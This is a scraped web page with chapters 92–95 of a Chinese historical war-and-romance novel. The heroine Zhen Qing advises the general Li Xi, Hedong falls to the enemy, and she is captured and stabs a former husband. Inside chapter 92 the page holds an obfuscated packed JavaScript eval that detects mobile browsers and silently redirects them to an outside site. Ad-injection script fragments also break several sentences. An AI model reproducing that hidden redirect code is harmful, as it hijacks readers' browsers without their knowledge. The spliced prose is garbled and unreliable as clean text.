她的仇,无处可报,好似又变成一人,回首望看,满目虚妄。 夜雨急下,像是淹没了这座城池,也像是淹没了她。 92. 难忘枕上十年事(三) 这一场雨一下就是一整个月,湖面的河水溢了出来,淹没了屋檐,就连路面都看不清是怎么样的。 枕清来来往往地穿梭在河东内,上下左右的方位都看了个遍,就连地形都已看得明白,最后还是去了有李檄与陈琅在的代州。 她们的马车刚踏进城门内,就被得知到消息的陈琅拉着去了他那里。 她在陈琅身后亦步亦趋地走着,身后没有一点脚步声,枕清回头看向落在后边的齐离弦与小顺子,不经放缓了步子,陈琅也有意般放慢了步子,只为了能跟枕清并肩。 枕清的心思细腻,自然察觉到这样的不同,不过她没有多说什么,该说的话在上一次都已经说过了,陈琅看她的心思也坦荡清明,这才叫枕清留意到这代州的不一样。 代州城内或许是因为打仗的关系,格外的安静,就连百姓说话都是极为小声,怕惊扰了什么,枕清只是微微一扫,目光所及下,大多都为老妇孩童,没有郎君的身影。 枕清不着痕迹地敛回目光,也跟着她们一般,静悄悄地,没有开口说出任何一句话。 直到走进陈琅所带她回去的府门内,她才听到陈琅说话的声音。而这一路上,她的思绪早已放空游离,并没有专注听陈琅说什么,等她还想仔细听去,陈琅便已经说好了。 枕清欲要再问,却见河东节度使李檄走了过来,他先是看向枕清和她身后的两人,这才徐徐转向陈琅。 她好像听到了陈琅方才在说什么了。 陈琅说这是河东节度使李檄的地方。 这一路上她都没有说过自己想要去找李檄,但是陈琅就是带着她过来,好像是知道她下一步的动作,只需要一个眼神就能明白,甚至有时候并不需要眼神。 陈琅于她,确实是一个很好的朋友。 李檄朝他们三人颔首,他微微笑着问向陈琅道:“这三位是?” 陈琅言简意赅:“我的好友。” 李檄意外挑眉:“雷州的那位?” 陈琅爽朗道:“是啊。” 李檄早就在陈琅这边听过这号人物,不过一直都没有机会见到,如今一见,果真觉得这位小娘子气度神态皆是不凡,不像是雷州那般小门小户能出来的人。 甚至还有一种说不出来的熟悉,就好像之前见过。 在李檄观察枕清的时候,枕清也在留意李檄的神态,李檄的面容相较于小时候所见,未发生很多的变化,枕清还是能一眼就认出来。 他的五官生得端正,周身的气度虽说裹挟着温和,却也有不可置疑的威严,特别是那双看似平和,却又极为犀利的目光。 片刻后,枕清就得出李檄并没有认出自己。 如果按照陈琅好友的方式相认,说出来的事情并没有可信度,甚至还会好好甄别一番这些事情的可靠性,所以要让李檄完全地相信自己,只能暴露自己的身份,表明自己是商震的徒弟。 虽说商震并不厉害,但是商震手底下的人,确实各个吹捧忠诚于他。 大概是师父这人真的挺好,有什么话当场就说,对朋友兄弟也够义气,只要用人不疑,所以大家都愿意跟随着商震,不过大家对他似乎也没那么好,不然也不会把师傅一个人仍在雷州城内,遇到事情,倒也应该同担。 不过上一辈的事情,枕清也未完全知其全貌,现下想得有些多了。 还没待李檄转向她打招呼,枕清率先扬了扬手,笑道:“李伯父,你还记得我么?” 伯父? 还是在雷州待过的人。 李檄不免顿了顿。他左思右想,除了商震的那两位小徒弟,李檄倒也没想到旁人。 可是商震的小徒弟不是死在了长安城内,这时候怎么会出现到这里?不过以商震和禹王对她的喜爱程度,或许真的不忍她送死。 “沿溪?”李檄试探地喊着,不免看了又看,好似真的能找出一些相似,不过少女比儿时更为纤瘦,已经长成了明朗绝艳的女娘了,一瞬间竟也叫他恍惚了去,不禁一时哑然。 看来还没忘。 枕清颔首道:“是我,至于长安的那些事情,之后再说,我今天也不是来找伯父叙旧的,而是我有事与伯父相商。” 听到最后几个字,李檄赶忙邀着人进来,屏退了旁人,唯独留下了枕清带来的人,当然陈琅也没有被轰走,他漫不经心地看着这几人,并没有开口的打算。 他只是一个商人,自然不懂这些打打杀杀的兵法。 就是不知道枕清这个小脑瓜子怎么会了解得这么多,既会做生意,又对朝局了如指掌,甚至还会用兵打仗。 陈琅随意说道:“你们都厉害,我就随便听听不必管我,尽量把安南人杀干净,争取大获全胜!那就是天下最厉害的人了。” 枕清听到这句话,看了他一眼,勾唇道:“看来你真是不懂打仗,并不是把敌人打跑打退了才是最厉害的,而是你不动用自己的一兵一卒,便能使对手心甘情愿地认输,此战没有伤及百姓,没有人送命,没有生灵涂炭,这才叫上等兵法,上等的谋术。” 陈琅听着,当即觉得挺对,眼巴巴又笑问:“那你可以吗?” 枕清摇头:“我还没有到那样的境界。这样的方法,是为攻心,如果心中不稳,觉得会败,那么自然而然就输了,可是,阿之奎是即使知道会败,他也要继续的人,这招对他不管用。” 这话说得没错,对于阿之奎这样的人的确是不管用,李檄谈及这个话题,想到那三万士兵,面如土灰。 李檄哀叹道:“听说他们打算要自立一个都,迁到晋州。” 枕清闻言,微微蹙眉,她断定道:“不至于,李伯父也不必懊恼,这次虽然败了,不是李伯父不行,更不是阿之奎那边的兵力强盛,只是这天气着实的诡异得厉害,李伯父的兵力被洪水所淹没,并非作战不力所造成的失败,大启定然不会怪罪于你。 “现如今对于阿之奎他们并没有什么损失,如果因此而轻率迁都,我们可以说他们这是向我们示弱,还会引起洛水、汉水流域的民众惶惧不安。” 听完,李檄的眼神微微泛起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749653|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光彩,突然觉得年轻人的脑子果然是好使,好似原本看不到头的事情,一下子得到了解困的法子。 引起恐慌,那么就没有信心,这也就是回到了方才枕清所说的攻心。 在这几日里,李檄终于露出了欣喜的笑容。 枕清不知道李檄了解多少,她还是稍微解释了一下:“阿之奎身旁多了两个人,其中的周犹是个谋士,而他身边的张宣晟,是前朝皇帝的孙子,太子的儿子。” 此话一出,不单单是李檄一人面色大变,小顺子也是望了望枕清,这件事太过严重,甚至叫人有些心虚,仿若知道了被灭口的惊天秘密。 而这里面的人都是非富即贵,独独小顺子一个人在其中变得如坐针毡。他并不属于这个地方,可是他还是坐了进去,穿着一件不属于他的瑰丽华服,就好像是套了一个皮子,内里还是烂透的模样。 有些可笑,也有些茫然。 他不禁把头垂得更低,也想不明白枕清为何会叫她进来,且不避讳他。 且枕清知道的秘密,好像比他更多些,他想要展示保留的东西来利用旁人,就变得更加可笑滑稽。 相对于李檄和小顺子,齐离弦与陈琅的表现就和平了许多,好似知道了一般。 齐离弦知道,枕清并不意外,只是对于陈琅,她觉得奇怪,她还是没有忘记陈琅对她所说的青灯古佛,终老一生。 看这样子,也像是死得很早的模样。 这小子,居然敢诓骗她。 陈琅后知后觉自己的反应太过平淡,他看向枕清威胁地目光不禁变得紧张,就好像是一个个谎言被揭穿,令他心尖一颤,随后鼓足勇气朝她灿然一笑。 好在枕清在他身上停留的目光不久。 当下的枕清没有心思去管陈琅究竟发生了什么,听到李檄发出的疑惑,继续接着方才的话题道:“张宣晟曾在禹王府当过门客,我也是在那时候发现了他的身份,李伯父倒也不必担忧,张宣晟与阿之奎虽然结为盟友,实际上是外表亲近而内里疏忌。他们如今得意,吐蕃和突厥必不高兴。 “据此,可以派人谕示突厥可汗抑或是吐蕃人,使令他从背后牵制阿之奎,这样,廉州之围就自然解除了。” 说了这么多,竟然是为了解救廉州的困境。 这话倒也没说错,他吃了三万的亏,而云流将军也吃了亏,都是在这个廉州城内。 “那就按照你说得办。”李檄即刻就想采纳枕清的建议,只不过他们都忘记了一件事,那就是突厥那边的距离太远,廉州城粮草不足,而吐蕃,却未必……会帮。 枕清察觉到一阵头晕,她轻轻碰了碰自己的脑袋,看向李檄道:“怕是来不及了,我忘记了还有一个人。” 李檄突然在心中升起一小簇不好的感觉,他唇瓣颤动,小声问:“谁?” 枕清带着恨意,吐出三字:“李酌赋。” 这件事究竟该如何做,云流怕是不知道李酌赋是否有与阿之奎有过交集。不过云流大将军不至于那般蠢笨,真的信了那人去。 93. 难忘枕上十年事(四) 廉州城内,现在人人自危,生怕一个不小心,安南人就攻了进来。 这都过去了好一月有余,云流正在垂首看着东西,突然听到有人来报,说是阿之奎打算攻下廉州城内。 只要廉州城一过,便可大军力压北上,廉州城不可破,不然大道存亡危矣! 云流听到这个消息,当即去往城墙上。 阿之奎的军队拿了梯子并排摆放,形成了一个斜坡宽大斜面,这是云梯。云流当即就知道阿之奎的动作,云梯并不好解决。 李酌赋面露焦急,看着定思不动的云流,高声道:“他们已经攻上来了,云大将军何不拿滚木礌石对付他们,或者让守城的弓箭手出来射杀他们?” 云流行军作战多年,一些简单的行军作战怎会不明白,他们这些人如今搭上了云梯,便可以在梯子上随意移动,即使落下滚木礌石抑或是其他厚重的东西,并没有什么实质性的作用,因为梯子组成足够大的斜面时,而城墙上的通道狭窄,站不下那么多人,那么也就造就了对方在数量上的局部优势。 倘若是他们知道城墙哪里薄,专门集中进攻城墙最薄弱的地方,城墙上站不下那么多人,自然也就到了不攻就破了的地步。 而且城下弩手弓手会持续射击,压的守城弓箭手不敢探身射箭,降低守城命中率。城里需要组织敢死队冲出来,砍翻城下驽手顺手捣毁云梯。 可当下没人敢,他们也需要保存体力。 云流随意瞟了一眼什么都不懂的李酌赋,当初就不应该答应他阿爷将他收过来,掠过他的目光,当即朝后边的手下道:“起锅烧油,烧金汁!” 手下人听令,当即准备了动作。 李酌赋被所有人忽视,他倒也不着急,看着所有人都走了下去,他漫不经心地勾唇笑笑,眼底闪过狠意,又隐藏得极好,朝身旁的人微微一笑。 在代州城听到消息的李檄登时站起身,就像率领军队朝云流那边走去,枕清见李檄这般匆忙的动作,当即挡住了他的步子。 他们几人是怎么跟着商震如何打下这大启的江山,不免令她怀疑。 枕清示意陈琅去关上外边的大门,他倒是没有迈开步子,非常自如地使唤小顺子去,小顺子倒是也没有多说什么,直接去了。 去了之后也没过来听他们所讲的东西。 枕清也没在意,开口道:“李伯父何必如此着急,你现在去了也于事无补,倒不如相信云流将军可以对付他们。守城最厉害的不是滚木和雷石,更不是弓箭,而是金汁。 “他们要围城强攻,守城者直接在城墙上起锅烧油,烧金汁,此计虽是狠毒,但也最为实用。” 陈琅倒是不懂了,他疑惑道:“此招为何狠毒?金汁又是何物?” 枕清见李檄没了动作,这才向陈琅解释道:“烧油,便是火油罐,主要是烧木制攻城梯子等器械,金汁就是大粪,浇上就是臭气熏天,痛苦难挨,之后大概率会感染,最后只能落到一个死的下场,是最狠毒最实用的守城方式,所以攻城不可能直接只靠云梯强爬的,阿之奎到底想要做什么?” 别说枕清一下子没想明白,就连在此地的云流也没看明白。 他站在城墙之上看着那些痛苦的人,不禁开始深思,这样大的云梯极难搬运,也需要考虑能沉重多少人。倘若是好搬运代表它轻,木头细,能站上去的人很有限,再考虑防守方可以高空滚石石头一砸就断那它就没用了,而能扛住这些代表它难以搬运,把它搭上城墙都是个问题,所以还是独立的梯子比较实用,好搬运,断了只影响几个人,还能立马拿新的替上。 这些梯子看起来就比较好搬运,阿之奎并不会想不到这些,不然不可能轻而易举地把他们逼到这般境地。 心中的那团疑惑越发浓重,直到作战到一天一夜后,所有人都已精疲力竭,才敢稍稍喘息一会。 阿之奎站在不远处看着这一番场面,不免笑了一下,看向身旁的张宣晟,两人都在夜晚的明月下相视,一个戏谑,一个平静。 “真是一场好戏,倘若他们过几日知道这些所谓攻城的人只是我俘虏来,诱骗让他们回家的三万士兵,脸上的表情应当是如何模样,想必有趣得很。”阿之奎畅怀笑道,“不是我放过他们,是他们的云流将军没让他们回家啊。” 张宣晟听到这句话,没想到他的心思居然如此叫人发颤,仿若是一头冰水浇灌下来,这才发觉,其实阿之奎此人远比他想象中的更坏,也更为放浪,甚至对待敌人非常不择手段,那样的手段和能力,更是让他觉得毛骨悚然。 不知道跟这样的一个恶人合作,究竟是对是错。 但他已经没有回头路可以走了。 当夜,枕清也并未入睡,她左思右想,突然脑海中升起来一股不可置信的情绪,她恍恍惚惚望向廉州城的方向,突然觉得自己遍体生寒。 陈琅见枕清屋内还亮着灯光,他看到枕清坐在窗边,手撑着脑袋,一副苦大仇深的模样。 他漫不经心地穿过长廊,脚底荡起一圈又一圈的涟漪,像是发光的月亮。 枕清听到水声,缓缓抬起脑袋看向陈琅,眼皮撩起,只见陈琅微微挑起眉眼,一副清贵模样的少年郎,甚至还有几许得意和高傲。 不知道怎么染上了长安那种风气。 “你怎么会来这里?”枕清问。 陈琅坐在枕清身前的窗棂台上,一条腿略高,另一条腿耷拉在下方,脚尖轻抵地面,脑袋稍稍侧着,整个人看着极其慵懒随性,浑身透着一股贵公子的气息。他散漫道:“看到你这里的灯还亮着,知道你没有睡,所以就过来了。你不困吗?” 正忧思着呢,当然不困,她瞧了一眼陈琅,打了个哈欠没讲话。 反正现在枕家的事情在心中也已经水落石出了,只不过还是得要回长安为枕家证明才行,可是一旦要为枕家证明,那么势必要说这件事是先皇的错。禹王又极其敬重这位先皇,甚至常常回到先皇的陵墓前悄悄地喊阿兄。 这件事或许会很难,不过,倘若是禹王,倒也不是那么地难办。 枕清听到陈琅哼了曲子,她道:“你在瞎唱什么?这么悲伤的曲调。” 陈琅随意道:“就是心里不舒服,随便唱唱。” “我心里也不痛快。”枕清转身去屋内拿了两壶桃花酿,“吃酒。” 陈琅勾唇,一饮而尽道:“你啊,就是太聪明了,小心聪明反被聪明误。” 这话的深意可就多了,枕清不知道他所说是何意,可能是随意提及,她也没太在意,道:“多谢你夸我聪明,与其当傻子被蒙在鼓里,那我更宁愿做痛苦的清醒者。你知道的,我不喜欢愚笨,我喜欢聪明的。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈琅那双深情的桃花眼望着她道:“那你觉得我聪明吗?” “聪明。”枕清见陈琅嘴角弯起一个弧度,她也跟着笑,“但我不喜欢你。” 说完,枕清关上了窗棂,隔绝了两人的距离。 陈琅失神垂首,唇瓣弯起无奈,他稍稍抬首,望着一旁走过来李檄,眼睛无措地眨了眨,先一步离开了。 李檄不知道他们二人的关系究竟是怎么样的,如果让陈琅娶了枕清,他倒是乐成其见,只不过,只怕是郎有情,妾无意。 阿之奎的消息放了出来,满朝上下皆是震惊,想要说点什么,却又碍着太后殿下的面子,闭口不言,只是说这些日子的河东局势颇为微妙,而朝堂的心思也逐渐朝河东道偏离。 云流得报,听到那些消息,原本所有的猜测和疑惑,都已经明了,这是阿之奎故意泄露消息,让他痛心疾首。 所有的征讨、鄙夷、怀疑、辱骂,充斥在脑海中,云流多日来强撑的身体终究是倒下了,强撑最后一口力气,下令退回慈州。 哭得死去活来的人不只有云流,还有李檄,李檄在第二天就要讨伐阿之奎,为那三万将士报仇。枕清当即劝谏,请李檄先等江诉过来,一切以大局为重。可李檄已经被阿之奎搅乱了思绪,一心只以结义兄弟为重,不听劝谏。 谁知祸不单行,李檄的大军还没出发,云流又被部将杀了,割下首级送到阿之奎去了。 这一下,李檄更不听劝谏了,下令不许再谏。 春季已过,正值盛夏,暑热难当,李檄攻不下,阿之奎占据河东道五座城池,又不出战,李檄就下令把营地移到山林茂盛、靠近溪涧的地方,想等夏天过去再用兵。 其实,李檄的决策正如阿之奎预计的一样,河东军的灾难不远了。 陈琅就提请李檄把移营情况画成图本,送去向枕清征求意见。 谁知李檄却说,“我也懂得兵法,何必又去问枕清呢?况且她只是一位女娘,你当真觉得我比不过她吗?” 陈琅明白李檄已经下定决心,甚至也不愿意去相信枕清,不仅仅是因为女子的身份。 他不再三苦劝,独自命人画成图本去问待在代州城内的枕清。 枕清看完图本,当即拍案而起,连日来手无利刃,无兵可用,她头疼道:“是谁让李檄这样扎寨?这个人该杀!” 陈琅说明是李檄自己,枕清顿觉无奈,叹道:“河东道再这样下去,一定会沦陷,已连失多城,或许不出数日便能直逼雁门关!” 就在李檄移营开始时,阿之奎得报,不禁大喜,当即派人去向张宣晟告知,指日可以打败李檄,请张宣晟身旁的周犹派大军接应。 河东军移营完毕,只顾在荫凉之处休息,军心自然已经懈怠。 这时,阿之奎调兵遣将,在一天夜里,施用火攻之计,火烧河东军营寨。河东军没有防备,营寨又在树林之中,四处起火,顷刻之间就成了一片火海。 安南军趁机东冲西杀,河东军早已乱了,哪还有还手之力。 李檄得到手下拼死保护,又到定襄,被施祝与枕清一次次救授,才算脱出重围,侥幸不死。这一仗,十多万河东军几乎全军覆没。 李檄又伤心又惭愧,终于一病不起,自觉无颜,最后死在赤塘关。 河东数十州沦陷。 94. 难忘枕上十年事(五) 河东失守,李檄、云流身死,而枕清在河东之内。 商震与北肆野心中不平,更是悲痛得厉害,原本在这里一路上还想着如何去应对安南人,正如二十年前,攻打匈奴人那般,兄弟几人笑谈渴饮匈奴血。 十几二十年前的他们,那么凶险的时候,他们兄弟几人都能安然无恙得活下来,现在都快一把老骨头了,却一个个走了。 他们二人相互对视一眼,心中更是感慨万分,他们正思索间,却见江诉掀开帘帐,腰间的玉佩坠着一个极小的香囊,跟随着动作荡起幅度。 商震瞟在那香囊上,僵了一瞬,但很快恢复了镇定,听江诉声音道:“河东接连几座城池都已失守,我们进不去,可枕清还在里面。” 江诉的声音听似不急不缓,面容也平静不波,可手中的动作显露出他隐藏的不安,见两位长辈都留意他轻轻摩梭的手指,他当下停住了手中的动作,按捺住不安的心绪,坐在上方的主位上,但这沉沉不容置疑的强调。 “枕清不知道师傅和北刺史也来了,现下河东凶险,我想请两位大人回陇右去。” 商震与北肆野沉吟须臾,抬手摸了摸自己手腕的护甲,携一股强硬的肃杀之气,正想要开口,但见江诉身后几个带刀的暗卫站在江诉的身后,隔着几丈远,就能瞧见江诉一股高居上位者的压迫。 原以为是个好说话的主。 其实和枕清一样,都是不好对付的主。 江诉抬手,连日来紧蹙的眉梢微动,声音如同凛冽的清霜:“请吧,二位大人。我不想用强硬的手段。” 商震被江诉如此强硬蛮横的手段诧异,心中却是不自觉升起放心,这样他一直看着长大的枕清不再是一个人单打独斗。 他走前拍了拍江诉的肩膀,笑得几分爽气痛快:“你小子在怕什么,我和你北叔父什么场面没见过?我们率兵打仗的时候,你还只是个毛头小子。我们老了,以后都是你们年轻人的天下,一代有一代人的使命,既然我们几人还能动的了,自然不能让你来。况且云流和李檄都上了,我们安能躲在后面?” 江诉皱眉,目光紧紧锁在商震身上,语气无比的坚定:“就是云流将军和李节度使上了,闹得如此下场,才更不能让你与北叔父参与此战,枕清知道了,她会担忧与难过的。” 北肆野知道江诉难说话,可也知道江诉不是如此独断野蛮的人,他道:“人总是会死的,早晚而已。我们的兄弟都死了,我们心中愤恨不平,这个仇自然是要报的,就算你今日拦下我等,你能确保一月后、两月后,不会再出现在河东境内,如果那时候身旁没有你的庇护,只怕是更加难以存活下来。” 这话说得,商震心中听着乐呵,他接话道:“伤心难过就是避免不了的,如果你死了,她也会伤心的。” 商震垂落一只手,那只手因为习武,布满了厚茧,他小心翼翼地碰上玉佩旁边的香囊,哼笑了一声道:“这个东西,她都告诉你了,那么在他心中,你已经是她最亲近的人。我听祉敏说,王府中有位管家知道了她的秘密,告诉了旁人,她下令把人毒哑了。” 这件事,江诉从未听说过,商震也是许久之后才知道的。 那时候的枕清因为在禹王府中假死,还在休养生息,便觉得说枕清的事情并没有任何关系,直到枕清知道这件事,便让裴祉敏出面把那管家给毒哑了。 这么多年,商震没发现,裴祉敏也没察觉,唯独江诉留着了,一直留在身边。 江诉低头沉思,其实这不是枕清告诉江诉的,是江诉与枕清交流沟通了许久,才慢慢发现的,他忽然想起很久之前,陆佑善曾经说过,她没有那么快想让枕清死的,那么究竟是什么原因加快了枕清的死亡。 究竟是那毒药,还是这个诡异的迷香成为了所谓的药引。 而这个香,陪伴了枕清许多年,一直都不曾出现问题,可也有问题所在,枕清容易情绪失控,唯独闻到这个香囊,才会平稳下来。 但是枕清当真不知道这里的奇怪之处么? 至于那个管家,那人究竟把这件事告诉了谁? 现如今阿之奎和张宣晟合作,两个人都跟枕清有仇,如果那两个人发现枕清的行踪,难保不会被痛下杀手,而他现在不能确保河东的情况,更不敢轻举妄动直接让阿之奎别动枕清,只怕阿之奎没有发现枕清的行踪,而他此举直接暴露了枕清位置。 不过有执一那几个暗卫在,应当不会发生大事。 而彼时的枕清正在某个小院子内,躺在躺椅上看着天上的星星,旁边的齐离弦倒是有些撑不住了,连日来,她心中一直焦躁难耐。 不知道是谁传出来他们几人还在城池内,阿之奎找人画好了画像,开始在全城通缉了她们几人。 “你倒是一点都不担忧,你就不怕被阿之奎发现,让我们几人都死在这里。”齐离弦甚至还往陈琅和小顺子那边瞧了瞧,发现一个在安安心心地跟着枕清喝茶,另一个低垂着目光不知道在想些什么。 齐离弦可不想在城中碰到阿之奎,还是这种状态。 枕清拿过一旁的茶盏,慢悠悠地打趣道:“这种状态,你应当很熟悉才是,上一次不也是直接杀到阿之奎的营帐内,被人俘虏了一年多,现下担忧什么,既来之则安之。倘若真是要担忧,也应该是我,毕竟我和他有仇啊。” 齐离弦一听,虽说枕清讲的是实话,可是齐离弦还是恨不得翻上白眼。 枕清明明喝的是茶,状态像是极致的微醺,好像是红醉了的月亮,看起来无比清丽坦荡,整个人慵懒侧躺着,一手枕着脸,另一手缓缓举起杯子,恰似对月而饮。 枕清的面颊挂下一簇簇细细的青丝,面庞上微微翘起的唇瓣,笑眯眯的眼睛,不自觉让人忽视她原本的模样,抑或是另一面的她便是如此形象。 陈琅微微侧眸,看着枕清这般模样,忽地也跟着弯起唇瓣,那双漂亮的桃花眼眼波流转,明明这双眸子已是漂亮到绝色,但这双深邃的眼瞳装下清丽的枕清更显一绝。 齐离弦被这两人的状态晃了晃眼,总觉得这样的状态,有些奇怪,不过她也没有深思,只是在心中默默开始为他们几人烧香。 她并不觉得阿之奎会顾念旧情,至于枕清,阿之奎更是想除之而后快。 这个状态,莫不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是枕清留有后手。 她凑在枕清身旁,小声问:“你是不是留有后招?” 枕清迷离的目光落在齐离弦身上,她勾起唇瓣,视线忽地变得清明起来,她将茶盏送到齐离弦唇瓣边,齐离弦望着她的目光逐渐深沉,却也顺着枕清手中的动作将那杯茶水喝了下去,舌尖萦绕一股难以忘怀的清香气,浓郁持久。 一杯下肚,齐离弦扬起眉梢,眼神示意枕清开口,枕清目光逐渐变得暗淡,她缓缓起身凑近,整个人散漫靠在齐离弦身上,身形如同水般柔软。她弯了弯唇瓣,附在齐离弦耳畔,慢慢道:“我没有后手,但我知道有人有后手。” 齐离弦感受到枕清靠来的动作,嗅到满身的清香,以及靠近的缠绵柔软,她的脸色不自然地一僵,可手中的动作并不听使唤,依旧下意识地握住枕清的手臂,将她整个人都护在怀中,免得她东倒西歪,真摔了去。 听枕清徐缓说完,她顿时看向其余两人,小顺子是在路上随便搭上来的,定然没有什么能力,排除在外。如果是陈琅的话,或许还是有一丝可能,不过看着这半死不活的状态,还是让齐离弦产生怀疑。 不过知道枕清既然安心了,那么她也没那么担忧了。 她正想要拿过枕清手边的茶盏为自己斟一杯茶水,就听到外边有极多的脚步声,好像要把这里给包围了。 她的手僵硬在空中,她徐徐抬头,看到有人推门而入。 门外高挂的红灯笼亮出诡异的颜色,照亮为首的人半侧面颊,他的目光深邃又深沉,他望着齐离弦以及身旁的枕清。 “终于找到你们了。” 这城池内,能有这么多的人马在这里。除了阿之奎,再无旁的人。 齐离弦看清楚了阿之奎的模样,心中如同擂鼓震天,脑袋一片空白,她只剩下木讷的视线与之对视,在下一瞬,她见他幽深的目光望向枕清,那杀意油然而升,心下有些堵着。 他们之间遥遥相对,明明近在咫尺,却又因相隔太多,早已经变得面目全非,也早已经分成楚河汉界,判若鸿沟。 而她上了枕清那条船。 齐离弦紧紧抱住怀中的枕清,覆盖着枕清的脑袋,稍稍侧过身子,挡住了阿之奎那一抹足以让人震颤的目光,而身旁的张宣晟也走了出来,挡在阿之奎要动作之前。 见此模样,阿之奎更是笑得厉害,一个两个,都这般护着她,果真是让人生羡,也叫人生厌。 张宣晟皱眉道:“阿之奎,你知道的,枕清她是我的人,你别动她。” 阿之奎目光落在这两人极力护着的动作上,嗤笑一声道:“今夜,就饶她一命,不过我不能确保明日、后日,她是否真的能安然无恙。” 这是明晃晃的威胁,枕清整个人都靠在齐离弦身上,虽然没有看清阿之奎的目光,但一定知道他彼时的面色难看,于是嘴角弯起笑容,整个人埋进了齐离弦的安稳中。 她倒是并不在意,落在阿之奎手中虽然危险,但是起码阿之奎是个显眼的人,一定能把她还活着的消息传到江诉那里,不然江诉真的该着急了。 况且,她还要在河东找郁华隐。 95. 难忘枕上十年事(六) 河东城内的日头照了过来,原本的暑热又换作了初秋。这几月的河东战事已经过了月余,原本属于李檄的校场被阿之奎占领,恢复了日常训练。 明明隔着很远,可是枕清还是听得清楚。 秋风已经出了关山,掠过雁门关,一夜之间吹得满山的草木萧条。 江诉的消息还没有出现,倒是听闻云行野已经到河东道的蔚州,天色接近黄昏,挂起一道清丽的明月,帐篷内一片死寂。 她和齐离弦被分开关押,看情形,大抵又是跟阿之奎在一起了。 枕清漫不经心地抬手在月亮画了两笔,走来的张宣晟身披一件青绿色的披风,换上了胡靴,看来是外出刚回来的模样。 看到她的动作,张宣晟跟着一同望向天空的晚月,月亮映照得天空极亮,他收回目光,走近道:“你还是没有改掉喜欢看月亮的习惯。” 张宣晟的模样并未发生过多的变化,不过身形的气质倒是发生了极大的改变,整个人看起来温和又自然,甚至改了往常喜欢穿深色衣服的习惯,可是了解他的枕清见此装扮,只觉得恶心。 她甚至不愿意多看,而是撇过目光,转身离开了此地。 月光落下来,只是一层薄薄的霜雾,却也叫张宣晟冷得发颤,他哀哀地望着枕清决绝远去的背影,眼眶逐渐泛起泪光,想起来之前在长安枕清所说的两清,方得了几分勇气,垂首撩开帐子,缓缓跟在枕清身后走了进去。 见枕清没有理会,却也没赶他走,于是舔着脸杵在原地,留意四周的布置,余光中留意到枕清毫无动静,于是大着胆子走到枕清身旁,开口道:“这几日,住的可还好?” “多谢关怀,我倒是没有胆子大到能在想让我死的人手中,安然入睡。”枕清感受到张宣晟凑近想要环住她的腰身,她拔出发梢上的簪子,抵在张宣晟身前,踱步离远了张宣晟,眼神微暗,神态冷然,“还请自重,如果你想动手,我必然倾尽全力,以命相搏。” 张宣晟被枕清如此强硬的态度弄得哑然,他下意识收回手中的动作,神情逐渐变得痛苦难耐,他道:“你就这么喜欢江诉吗?连我碰你一下都不愿意?可你分明是我的妻子!” 张宣晟的眼神变得狰狞,枕清冷眼看着他的痛苦,那样的神色不是懵懂不解,也不是淡漠,更多是讥讽。他被这双神情刺痛,走前握住枕清的手腕骨。枕清挣扎不开,眼见张宣晟要倾身靠近,一寸寸地贴近而来,枕清的肩胛骨被抵在墙上,后腰猛地一缩,手中的动作一动。 没了挣扎。 不是枕清没了挣扎,而是张宣晟。 枕清拿着的匕首捅进去的深,力气又狠,眼睁睁看着张宣晟在枕清身体上蜿蜒而下,像是她脚底的一滩血。 她冷声道:“我说过,不要靠近我。” 张宣晟被捅得起不来,可是望着那张漂亮的面容,犹如世间上绝无仅有的瑰宝,眼中又有了稀薄的笑意,他讥讽道:“你知道不知道,江诉压根不是什么好人,他是银州城来的人,他为什么能活下来,因为他吃人!他会吃人!” “就算他吃人,我也喜欢他。”枕清垂下目光,外边的月光掠过她清冷的面容,仿若在高台之上,所有人都无声地仰望注视着她。 她从容地蹲下身子,漂亮的眸子内携着无数璀璨,如梦如幻,她勾唇道:“我喜欢江诉,张宣晟,你无论再怎么把自己装点成他那般模样,我都不会喜欢你,有时候做自己挺好的,要是真的失去了自己,那真是让人觉得可怜。” 原来她发现了自己在学江诉,张宣晟抬手碰了碰枕清的衣襟,擦过自己的手边,他费尽力气,最后终于勾下了那个香囊。 没有香囊,枕清就会失控,到时候,无论是谁,都对枕清不管用。 枕清自然察觉到张宣晟的动作,原来管家把这件事告诉了他。 没错,没有香囊她却是会头疼欲裂的失控,可是枕清并不是让自己完全沉溺倚靠某种东西维持生存的人,如果真的有这一样东西,那么她一定会把这件物品给毁掉。之所以没有毁掉,自然是想要利用这些东西来钓大鱼。 现在,好戏要开场了。 枕清身旁再也没有那股幽香,数十年的香味一直跟随在侧,突然少了,倒是还觉得有些奇怪,她借着朦胧月色,看着一座座青山成了一个灰黑色的轮廓,晚风吹得人舒爽,面颊扫过细细的青丝,微生痒意。 身后有人大叫张宣晟晕倒了,枕清头也不回地离开此地,这个地方并不是她所居住的位置。 还没多走几步,身后就有一把箭矢抵在她的后腰,肩膀被搭上一只宽大有力的手掌,枕清行走的动作一顿,脊背油然而生寒冷意,她顿时觉得是阿之奎,可又觉得如果是阿之奎,一定不会抵着她,而是早就刺了进来。 ——周犹? 这个人瞬间在脑海中回荡,却听到身后那么阴恻恻笑道:“好久不加,枕清,我说过,若是日后你若在我手里,一定要与你不死不休。” 这话的语气和声音,是李酌赋。 枕清讥讽道:“小郡王已经背上了叛国的大罪,现如今还想与我不死不休,倒真的有些许如此意味,可你当真要完完全全效忠于阿之奎?” 当时廉州城内危机,云流又久病不起,这才让李酌赋找寻了机会对云流动手,也把城墙处的位置都给了阿之奎,这才一举攻下了廉州城内,才那么快夺得河东一块。 河东不仅水利便捷,甚至还能掌握河东盐池这一命脉。 在阿之奎的地盘,谁不把他看作上宾。 